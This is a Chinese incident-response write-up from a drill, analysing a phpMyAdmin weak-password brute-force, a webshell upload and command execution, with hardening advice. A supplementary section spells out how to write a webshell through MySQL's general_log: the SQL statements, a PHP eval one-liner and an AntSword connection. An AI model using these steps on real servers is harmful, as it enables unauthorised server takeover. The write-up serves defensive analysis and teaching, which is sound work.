记一次phpMyAdmin弱口令爆破事件应急响应

news/2025/1/12 8:41:12/

为方便您的阅读,可点击下方蓝色字体,进行跳转↓↓↓

    • 01 事件背景介绍
    • 02 流量分析过程
    • 03 事件分析结果
    • 04 安全加固建议

01 事件背景介绍


某内部应急演练中,安全部门在安全设备上观察到大量phpMyAdmin登录请求,现需根据流量情况进行安全事件分析。

phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。

攻击者会使用弱口令等方式对phpMyAdmin进行登录尝试,登录成功后通过SQL查询获取敏感数据,或者使用phpMyAdmin写入webshell,从而获取服务器权限。

02 流量分析过程

发现攻击者对10.X.X.10的phpMyAdmin的控制台进行大量的账号密码暴力破解攻击,触发安全设备的攻击告警事件,进一步查看服务器响应包,发现存在302状态码,即攻击者爆破口令成功,成功登录phpMyAdmin管理后台。

在这里插入图片描述

进一步追溯攻击者IP,以攻击者IP作为源地址进行安全事件检索,进一步发现攻击者使用phpMyAdmin控制台的import功能上传shell.php,将上传的webshell成功保存到C盘目录下。

在这里插入图片描述
在这里插入图片描述

而后攻击者进一步试图连接shell.php,执行命令且服务器成功返回命令执行结果。

在这里插入图片描述
在这里插入图片描述
据此判断主机10.X.X.10失陷,继续观察其他流量,未发现其余明显异常行为。



03 事件分析结果


攻击者使用弱口令爆破方式对phpMyAdmin进行登录尝试,登录成功phpMyAdmin的import模块功能写入webshell,从而获取服务器权限。

上述是通过phpMyAdmin的import模块功能写入webshell,这里额外补充利用phpmyadmin 日志写入 webshell的攻击手法。

在 phpmyadmin 中,利用 SQL 语句 show variables like ‘%general%’;查看general log 是否开启

在这里插入图片描述


若发现日志读写功能关闭,于是使用 SQL 语句:SET GLOBAL general_log=‘on’; SHOW VARIABLES LIKE ‘%general%’;打开general_log 日志读写功能。

在这里插入图片描述

打开日志读写功能后,根据图中 general_log_file 中的绝对路径制作一个木马文件:SET GLOBAL general_log_file=‘C:/phpStudy/www/shell.php’

在这里插入图片描述

接着往 shell.php 写入 SELECT '<?php eval($_POST["jkxy"]);?>

在这里插入图片描述

利用中国蚁剑工具连接一句话 shell.php,连接测试成功,打开虚拟终端,输入命令 whoami,发现命令执行成功。

在这里插入图片描述
在这里插入图片描述


04 安全加固建议


1、通过流量分析得知的webshell上传路径,对Webshell文件进行删除处理。

在这里插入图片描述
在这里插入图片描述


2、利用Webshell查杀攻击对网站目录进行进一步的扫描排查,如使用D盾查杀工具等。

在这里插入图片描述



3、及时修改mysql的root用户口令,确保密码强度符合要求,建议大小写字母+数字+特殊字符+8位以上。


http://www.ppmy.cn/news/616673.html

相关文章

Springboot 整合Camunda7

文章目录 前言一、原项目引入camunda二、直接搭建新demo 前言 camunda7文档 与springboot版本兼容组合 一、原项目引入camunda 导入maven依赖 <dependency><groupId>org.camunda.bpm.springboot</groupId><artifactId>camunda-bpm-spring-boot-sta…

netty学习(1):1个客户端与服务器通信

1. 新建maven工程&#xff0c;添加netty依赖 <?xml version"1.0" encoding"UTF-8"?> <project xmlns"http://maven.apache.org/POM/4.0.0"xmlns:xsi"http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation"…

Kotlin学习 - 运算符重载

在Java中&#xff0c;运算符基本是用于数字的计算&#xff1a; - * / % –。在Kotlin中通过对运算符进行重载&#xff0c;允许任意两个对象进行相加&#xff0c;或者是进行更多其他的运算操作。 1、语法结构 class Obj {operator fun plus(obj: Obj): Obj { // 处理相加的逻…

暴风影音常用快捷键

视频播放倍数增大&#xff1a;ctrl⬆️ 视频播放倍数减小&#xff1a;ctrl⬇️ 视频九十度旋转&#xff1a;&#xff3b; 视频垂直旋转&#xff1a;&#xff3d;

暴风影音5完整版(集成Real解码器) 增强去广告版

暴风影音5完整版(集成Real解码器) 增强去广告版 软件分类:媒体播放 运行环境:WinXP/2003/win7/ 软件语言:简体中文 授权方式:免费版 软件大小:31539KB 更新时间:2011-8-29 软件简介: 暴风影音5是暴风影音公司全新推出的暴风影音5.0版本&#xff0c;目前暴风影音5还是beta版&am…

(Windows7旗舰版) 大地Ghost Win7 贺岁纯净版2011

软件名称&#xff1a;大地 Ghost Win7 贺岁纯净版X86 2011 系统格式&#xff1a;NTFS 32位 软件语言&#xff1a;简体中文 适用环境&#xff1a;全新系统(双系统请参照说明) 发布时间&#xff1a;2011年01月 ◇前言◇ 此版本沿用了大地 GHOST 特点&#xff0c;稳定&#xf…

linux下暴风影音安装方法

Linux下Mplayer安装记录 安装MPlayer经验&#xff1a; 1 .去官网下载三个文件&#xff0c;分别是&#xff1a;主程序&#xff0b;解码器&#xff0b;皮肤 http://www.mplayerhq.hu http://www.mplayerhq.hu/design7/dload.html 2.检查Linux系统中是否已经安装了以下四个包&…

10-Vue从入门到手撕

什么时候可以开始学习Vue? 学习路线&#xff1a;H5 CSS3 ---> ES6 ---> 网络 ---> 第三方库 ---> 工程化 ---> Vue 不经过前面的铺垫是无法学习vue的&#xff0c;就算学了还得倒回去补知识点 展现Vue Vue源码分析&#xff0c;走进作者的内心世界 …